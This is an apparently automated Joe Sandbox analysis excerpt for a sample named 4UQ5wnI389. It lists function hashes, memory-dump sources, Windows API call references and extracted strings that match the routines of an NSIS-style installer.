Source File: 00000005.00000002.2745908912.0000000037B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37b10000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4909d6f439c40ba5a9c5f66a77117437e06a3acfd8bb2acc0e3aca8f2838f47
Instruction ID: c6edd22564c07895df60c28ab8144f860b2cbe3f505ff45d4963071719d6854c
Opcode Fuzzy Hash: d4909d6f439c40ba5a9c5f66a77117437e06a3acfd8bb2acc0e3aca8f2838f47
Instruction Fuzzy Hash: 92C1D374E00218CFEB14DFA5D994B9DBBB2BF89304F2081A9D809AB354DB359E85CF50

Function 37B11858 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2745908912.0000000037B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37b10000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ccdc07de07d5391dedc8050fda331eab5dc53be684293a614cbe741f956ed3c
Instruction ID: 61eb0908cbe3ee6768980e441933900e72e9ff1d83cfe63d7014ee7ca7430e57
Opcode Fuzzy Hash: 9ccdc07de07d5391dedc8050fda331eab5dc53be684293a614cbe741f956ed3c
Instruction Fuzzy Hash: FFC1D174E00218CFEB14DFA5D994B9DBBB2BF89304F2081A9D819AB354DB359E85CF50

Function 37A6C1F2 Relevance: .3, Instructions: 267COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2745686553.0000000037A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a60000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30969bfb4531126ddadf74a78a233347eda34096e04da8e3c43eec2b1ef62d09
Instruction ID: feb73f5d080ab9e03f05bc0fc0e3e44563ce84743cf4fa4d60eeed6162a2accd
Opcode Fuzzy Hash: 30969bfb4531126ddadf74a78a233347eda34096e04da8e3c43eec2b1ef62d09
Instruction Fuzzy Hash: 4AC1D274E00218CFDB14DFA9D994B9DBBB2BF89304F2081A9D819AB354DB349E85CF50

Function 37A6B4EC Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2745686553.0000000037A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a60000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2518d56ca5ff645d354744d756f980c64184ccd2b05525db62f1a393a2a869a
Instruction ID: ad175df8f2d8f2369d08266cc21e55d2bcdc5788958b241767e332466fc82149
Opcode Fuzzy Hash: a2518d56ca5ff645d354744d756f980c64184ccd2b05525db62f1a393a2a869a
Instruction Fuzzy Hash: 0AC1CF74E00218CFDB14DFA9D994B9DBBB2AF89304F2081A9D819AB355DB349E85CF50

Function 37A6B944 Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2745686553.0000000037A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a60000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee514abb18dcf7b8a74d4131da6f3924020b7af3de7c29df145ba87644b3601d
Instruction ID: 8f8fc7c12b9332c7ed41b03eff889859b50444849778a950d3dd9241a32abd64
Opcode Fuzzy Hash: ee514abb18dcf7b8a74d4131da6f3924020b7af3de7c29df145ba87644b3601d
Instruction Fuzzy Hash: E7C1C174E00218CFDB14DFA9D994B9DBBB2BF89304F2081A9D819AB355DB349E85CF50

Function 3818F6B8 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2746168269.0000000038180000.00000040.00000800.00020000.00000000.sdmp, Offset: 38180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38180000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7c2eb61c8487513b3a6ad0f7b469c6a7f4967b63956e1ef50db01910f8da3fd
Instruction ID: d134852e7222f4c04df83cfad68b25d4f34ade5646255906f3b151e6802e00a8
Opcode Fuzzy Hash: a7c2eb61c8487513b3a6ad0f7b469c6a7f4967b63956e1ef50db01910f8da3fd
Instruction Fuzzy Hash: 99D06775E042188BCB11DFA8E8442ECF770EB9A315F0125A6D558A7110D7715A908E56

Function 0040558F Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 004055ED
GetDlgItem.USER32(?,000003EE), ref: 004055FC
GetClientRect.USER32(?,?), ref: 00405639
GetSystemMetrics.USER32(00000002), ref: 00405640
SendMessageW.USER32(?,00001061,00000000,?), ref: 00405661
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405672
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405685
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405693
SendMessageW.USER32(?,00001024,00000000,?), ref: 004056A6
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 004056C8
ShowWindow.USER32(?,00000008), ref: 004056DC
GetDlgItem.USER32(?,000003EC), ref: 004056FD
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040570D
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405726
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405732
GetDlgItem.USER32(?,000003F8), ref: 0040560B

Part of subcall function 00404394: SendMessageW.USER32(00000028,?,00000001,004041BF), ref: 004043A2

GetDlgItem.USER32(?,000003EC), ref: 0040574F
CreateThread.KERNEL32(00000000,00000000,Function_00005523,00000000), ref: 0040575D
CloseHandle.KERNEL32(00000000), ref: 00405764
ShowWindow.USER32(00000000), ref: 00405788
ShowWindow.USER32(?,00000008), ref: 0040578D
ShowWindow.USER32(00000008), ref: 004057D7
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040580B
CreatePopupMenu.USER32 ref: 0040581C
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405830
GetWindowRect.USER32(?,?), ref: 00405850
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405869
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058A1
OpenClipboard.USER32(00000000), ref: 004058B1
EmptyClipboard.USER32 ref: 004058B7
GlobalAlloc.KERNEL32(00000042,00000000), ref: 004058C3
GlobalLock.KERNEL32(00000000), ref: 004058CD
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058E1
GlobalUnlock.KERNEL32(00000000), ref: 00405901
SetClipboardData.USER32(0000000D,00000000), ref: 0040590C
CloseClipboard.USER32 ref: 00405912

Strings

(7B, xrefs: 0040587D
{, xrefs: 004057F5

Memory Dump Source

Source File: 00000005.00000002.2717926385.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717907797.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717945007.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717969676.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717997307.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: (7B${
API String ID: 590372296-525222780
Opcode ID: f04ab8e6c053f28f703b7489d19dc379b83f29f3476edfbeb8782164aeb73afa
Instruction ID: ef9837d71be30d97cad1ad5ee6bf48d4101bac37d77d0ad6e239d9f51a57dc01
Opcode Fuzzy Hash: f04ab8e6c053f28f703b7489d19dc379b83f29f3476edfbeb8782164aeb73afa
Instruction Fuzzy Hash: C4B16A70900608FFDB11AFA0DD85AAE7B79FB48355F00403AFA45B61A0CB754E52DF68

Function 00403E86 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 346windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403EC2
ShowWindow.USER32(?), ref: 00403EDF
DestroyWindow.USER32 ref: 00403EF3
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403F0F
GetDlgItem.USER32(?,?), ref: 00403F30
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403F44
IsWindowEnabled.USER32(00000000), ref: 00403F4B
GetDlgItem.USER32(?,00000001), ref: 00403FF9
GetDlgItem.USER32(?,00000002), ref: 00404003
SetClassLongW.USER32(?,000000F2,?), ref: 0040401D
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 0040406E
GetDlgItem.USER32(?,00000003), ref: 00404114
ShowWindow.USER32(00000000,?), ref: 00404135
EnableWindow.USER32(?,?), ref: 00404147
EnableWindow.USER32(?,?), ref: 00404162
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00404178
EnableMenuItem.USER32(00000000), ref: 0040417F
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00404197
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004041AA
lstrlenW.KERNEL32(00423728,?,00423728,00000000), ref: 004041D4
SetWindowTextW.USER32(?,00423728), ref: 004041E8
ShowWindow.USER32(?,0000000A), ref: 0040431C

Strings

(7B, xrefs: 004041C4

Memory Dump Source

Source File: 00000005.00000002.2717926385.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717907797.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717945007.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717969676.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717997307.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID: (7B
API String ID: 184305955-3251261122
Opcode ID: 030bf1c90a5d59ce14a62ff8eb631d2412c8a49503263f6ef8a14511ced3c4f7
Instruction ID: 1e1a27d6975204c591228116fe5edee23a209105d2649c04e919f1d7e5095d09
Opcode Fuzzy Hash: 030bf1c90a5d59ce14a62ff8eb631d2412c8a49503263f6ef8a14511ced3c4f7
Instruction Fuzzy Hash: 6FC1A2B1644200FBDB216F61EE85D2A3BB8EB94706F40053EFA41B11F1CB7958529B6D

Function 00403AD8 Relevance: 38.7, APIs: 13, Strings: 9, Instructions: 215stringregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 004067C2: GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
Part of subcall function 004067C2: GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

lstrcatW.KERNEL32(00437000,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,00437800,75573420,00435000,00000000), ref: 00403B59
lstrlenW.KERNEL32(004281E0,?,?,?,004281E0,00000000,00435800,00437000,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,00437800), ref: 00403BD9
lstrcmpiW.KERNEL32(004281D8,.exe,004281E0,?,?,?,004281E0,00000000,00435800,00437000,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000), ref: 00403BEC
GetFileAttributesW.KERNEL32(004281E0), ref: 00403BF7
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,00435800), ref: 00403C40

Part of subcall function 0040632F: wsprintfW.USER32 ref: 0040633C

RegisterClassW.USER32(004291E0), ref: 00403C7D
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403C95
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403CCA
ShowWindow.USER32(00000005,00000000), ref: 00403D00
GetClassInfoW.USER32(00000000,RichEdit20W,004291E0), ref: 00403D2C
GetClassInfoW.USER32(00000000,RichEdit,004291E0), ref: 00403D39
RegisterClassW.USER32(004291E0), ref: 00403D42
DialogBoxParamW.USER32(?,00000000,00403E86,00000000), ref: 00403D61

Strings

.DEFAULT\Control Panel\International, xrefs: 00403B44
Control Panel\Desktop\ResourceLocale, xrefs: 00403B0C
(7B, xrefs: 00403B04
RichEdit20W, xrefs: 00403D24, 00403D2A
RichEd32, xrefs: 00403D14
.exe, xrefs: 00403BE6
RichEdit, xrefs: 00403D33
_Nb, xrefs: 00403C5C, 00403CC4
RichEd20, xrefs: 00403D06

Memory Dump Source

Source File: 00000005.00000002.2717926385.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717907797.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717945007.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717969676.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717997307.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: (7B$.DEFAULT\Control Panel\International$.exe$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-1425696872
Opcode ID: fa642e9f5f159fa40c6df89367760cd7b58c30057714375835671963a1e6ccc9
Instruction ID: f49b718e50d7a26840138b6048ee10d29e8519d5aa43f5d66e73d4226ad9b376
Opcode Fuzzy Hash: fa642e9f5f159fa40c6df89367760cd7b58c30057714375835671963a1e6ccc9
Instruction Fuzzy Hash: FF61C470204700BBE220AF669E45F2B3A7CEB84B49F40447FF945B22E2DB7D5912C62D

Function 0040451E Relevance: 35.2, APIs: 19, Strings: 1, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 004045BC
GetDlgItem.USER32(?,000003E8), ref: 004045D0
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 004045ED
GetSysColor.USER32(?), ref: 004045FE
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 0040460C
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 0040461A
lstrlenW.KERNEL32(?), ref: 0040461F
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040462C
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 00404641
GetDlgItem.USER32(?,0000040A), ref: 0040469A
SendMessageW.USER32(00000000), ref: 004046A1
GetDlgItem.USER32(?,000003E8), ref: 004046CC
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 0040470F
LoadCursorW.USER32(00000000,00007F02), ref: 0040471D
SetCursor.USER32(00000000), ref: 00404720
LoadCursorW.USER32(00000000,00007F00), ref: 00404739
SetCursor.USER32(00000000), ref: 0040473C
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040476B
SendMessageW.USER32(00000010,00000000,00000000), ref: 0040477D

Strings

N, xrefs: 004046BA

Memory Dump Source

Source File: 00000005.00000002.2717926385.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717907797.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717945007.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717969676.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717997307.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: N
API String ID: 3103080414-1130791706
Opcode ID: c2d943e7d3074a80d89972f065d7b0d6c6867904808fb573d17a53c74c23d30b
Instruction ID: 26ae409e5f73424340e4bb55f347a499eb46e427c8d4328441e026d38e95c6c2
Opcode Fuzzy Hash: c2d943e7d3074a80d89972f065d7b0d6c6867904808fb573d17a53c74c23d30b
Instruction Fuzzy Hash: 4B6173B1900209BFDB109F60DD85EAA7B69FB84314F00853AFB05772E0D7789D52CB58

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00429240,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000005.00000002.2717926385.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717907797.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717945007.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717969676.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717997307.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: a62f14d8607f0cab4b909ce482175ba86ddefa50def87cd09a38214d4056f576
Instruction ID: b35030fe9107d9a8359b932f7918d2348922827c9ca57aaae851fe5b21190c6b
Opcode Fuzzy Hash: a62f14d8607f0cab4b909ce482175ba86ddefa50def87cd09a38214d4056f576
Instruction Fuzzy Hash: 92418A71800249AFCF058FA5DE459AFBBB9FF44310F00842AF991AA1A0C738E955DFA4

Function 00404850 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 0040489F
SetWindowTextW.USER32(00000000,?), ref: 004048C9
SHBrowseForFolderW.SHELL32(?), ref: 0040497A
CoTaskMemFree.OLE32(00000000), ref: 00404985
lstrcmpiW.KERNEL32(004281E0,00423728,00000000,?,?), ref: 004049B7
lstrcatW.KERNEL32(?,004281E0), ref: 004049C3
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004049D5

Part of subcall function 00405A32: GetDlgItemTextW.USER32(?,?,00000400,00404A0C), ref: 00405A45

Part of subcall function 0040667C: CharNextW.USER32(?,*?|<>/":,00000000,00000000,00437800,00437800,00435000,00403480,00437800,75573420,004036EF,?,00000006,00000008,0000000A), ref: 004066DF
Part of subcall function 0040667C: CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004066EE
Part of subcall function 0040667C: CharNextW.USER32(?,00000000,00437800,00437800,00435000,00403480,00437800,75573420,004036EF,?,00000006,00000008,0000000A), ref: 004066F3
Part of subcall function 0040667C: CharPrevW.USER32(?,?,00437800,00437800,00435000,00403480,00437800,75573420,004036EF,?,00000006,00000008,0000000A), ref: 00406706

GetDiskFreeSpaceW.KERNEL32(004216F8,?,?,0000040F,?,004216F8,004216F8,?,00000001,004216F8,?,?,000003FB,?), ref: 00404A98
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404AB3

Part of subcall function 00404C0C: lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
Part of subcall function 00404C0C: wsprintfW.USER32 ref: 00404CB6
Part of subcall function 00404C0C: SetDlgItemTextW.USER32(?,00423728), ref: 00404CC9

Strings

A, xrefs: 00404973
(7B, xrefs: 0040494D

Memory Dump Source

Source File: 00000005.00000002.2717926385.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717907797.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717945007.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717969676.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717997307.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: (7B$A
API String ID: 2624150263-3645020878
Opcode ID: e24882e00550f6ead3a1036a7d6e943431ff60c63dfc37ca84bce6dbb49f36c9
Instruction ID: 217fbe9c53fcac7a38d38ba6b36a95d3c52d9e466bb1b0d29fe77156d884dce9
Opcode Fuzzy Hash: e24882e00550f6ead3a1036a7d6e943431ff60c63dfc37ca84bce6dbb49f36c9
Instruction Fuzzy Hash: 01A161F1A00205ABDB11EFA5C985AAF77B8EF84315F10803BF611B62D1D77C9A418B6D

Function 00406034 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,004061CF,?,?), ref: 0040606F
GetShortPathNameW.KERNEL32(?,00426DC8,00000400), ref: 00406078

Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

GetShortPathNameW.KERNEL32(?,004275C8,00000400), ref: 00406095
wsprintfA.USER32 ref: 004060B3
GetFileSize.KERNEL32(00000000,00000000,004275C8,C0000000,00000004,004275C8,?,?,?,?,?), ref: 004060EE
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 004060FD
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406135
SetFilePointer.KERNEL32(0040A590,00000000,00000000,00000000,00000000,004269C8,00000000,-0000000A,0040A590,00000000,[Rename],00000000,00000000,00000000), ref: 0040618B
GlobalFree.KERNEL32(00000000), ref: 0040619C
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 004061A3

Part of subcall function 00405EDE: GetFileAttributesW.KERNEL32(00000003,00402F73,00438800,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

Strings

[Rename], xrefs: 0040611D, 0040612F
%ls=%ls, xrefs: 004060A9

Memory Dump Source

Source File: 00000005.00000002.2717926385.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717907797.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717945007.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717969676.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717997307.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: 743beb3988d04f7b57c6902fe00ffd967832125f1abdce8c9c4456724f210b8f
Instruction ID: 8c4bc4cab4d3408e43c29de3b383fd3cef376d344e04ab2aaf2f470794b42cbb
Opcode Fuzzy Hash: 743beb3988d04f7b57c6902fe00ffd967832125f1abdce8c9c4456724f210b8f
Instruction Fuzzy Hash: 34313770200719BFD2206B619D48F6B3A6CEF45704F16043EFA46FA2D3DA3C99158ABD

Function 00402F30 Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 203memoryCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00402F44
GetModuleFileNameW.KERNEL32(00000000,00438800,00000400), ref: 00402F60

Part of subcall function 00405EDE: GetFileAttributesW.KERNEL32(00000003,00402F73,00438800,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

GetFileSize.KERNEL32(00000000,00000000,00439000,00000000,00436800,00436800,00438800,00438800,80000000,00000003), ref: 00402FA9
GlobalAlloc.KERNEL32(00000040,0040A230), ref: 004030F0

Strings

Error launching installer, xrefs: 00402F80
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00403139
Null, xrefs: 00403029
soft, xrefs: 00403020
Inst, xrefs: 00403017
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403187

Memory Dump Source

Source File: 00000005.00000002.2717926385.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717907797.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717945007.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717969676.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717997307.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-787788815
Opcode ID: da7d1d4a2d7cfe0a4d95b8b78dbffc0a58d971e607472f26681b65440013a3aa
Instruction ID: fab51a6d61a7302470dd91ad27108f0c0be819ae48098b15a947b51e22d3bd00
Opcode Fuzzy Hash: da7d1d4a2d7cfe0a4d95b8b78dbffc0a58d971e607472f26681b65440013a3aa
Instruction Fuzzy Hash: 4961D271A00205ABDB20DFA4DD45A9A7BA8EB04356F20413FF904F62D1DB7C9A458BAD

Function 0040640A Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 209stringCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(004281E0,00000400), ref: 0040654B
GetWindowsDirectoryW.KERNEL32(004281E0,00000400,00000000,00422708,?,00405487,00422708,00000000), ref: 0040655E
SHGetSpecialFolderLocation.SHELL32(00405487,00000000,00000000,00422708,?,00405487,00422708,00000000), ref: 0040659A
SHGetPathFromIDListW.SHELL32(00000000,004281E0), ref: 004065A8
CoTaskMemFree.OLE32(00000000), ref: 004065B3
lstrcatW.KERNEL32(004281E0,\Microsoft\Internet Explorer\Quick Launch), ref: 004065D9
lstrlenW.KERNEL32(004281E0,00000000,00422708,?,00405487,00422708,00000000), ref: 00406631

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0040651B
\Microsoft\Internet Explorer\Quick Launch, xrefs: 004065D3

Memory Dump Source

Source File: 00000005.00000002.2717926385.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717907797.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717945007.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717969676.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717997307.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 717251189-730719616
Opcode ID: fadb749951e57590abd2d4ee5972ead553d40ab2c5c4ce1725a089f13c923e34
Instruction ID: bd17f2555f8fb0ecb5cfb39a154c1e2018f2892b34e65fa403921cbdc39efe9b
